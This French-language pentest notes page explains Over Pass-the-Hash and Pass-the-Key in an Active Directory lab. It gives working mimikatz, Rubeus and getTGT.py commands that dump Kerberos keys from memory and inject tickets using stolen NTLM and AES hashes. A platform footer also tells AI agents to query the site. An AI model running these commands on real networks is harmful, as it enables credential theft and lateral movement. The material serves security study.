> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Kerberos prend en charge plusieurs types de clés, notamment `RC4`, `AES128`, et `AES256`.

Avec `mimikatz`, la commande suivante ouvre une nouvelle session et modifie également le contexte Kerberos en mémoire.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrateur /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/34620c5a979fbbdce40850a5d93fab2766c94bd9" alt=""><figcaption></figcaption></figure>

Une fois ce contexte chargé, nous pouvons demander un TGT avec `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Cette commande récupère le TGT du compte et l'injecte directement en mémoire.

<figure><img src="/files/f95ad3f0fdf8f0033184c6a4046d057bad7202c3" alt=""><figcaption></figcaption></figure>

Pour voir les clés Kerberos présentes en mémoire pour un compte, nous pouvons utiliser `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Nous récupérons ensuite plusieurs représentations de la même clé, par exemple dans `RC4` et dans `AES256`.

<figure><img src="/files/b5892a30a9e7ea5bd5095726d4def344ede0daf2" alt=""><figcaption></figcaption></figure>

Nous pouvons alors demander un TGT avec la clé AES.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

Sous Linux, la même opération peut être effectuée avec `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="/files/1011fa2124d43ec17330da0ee06c4a88520be6f1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
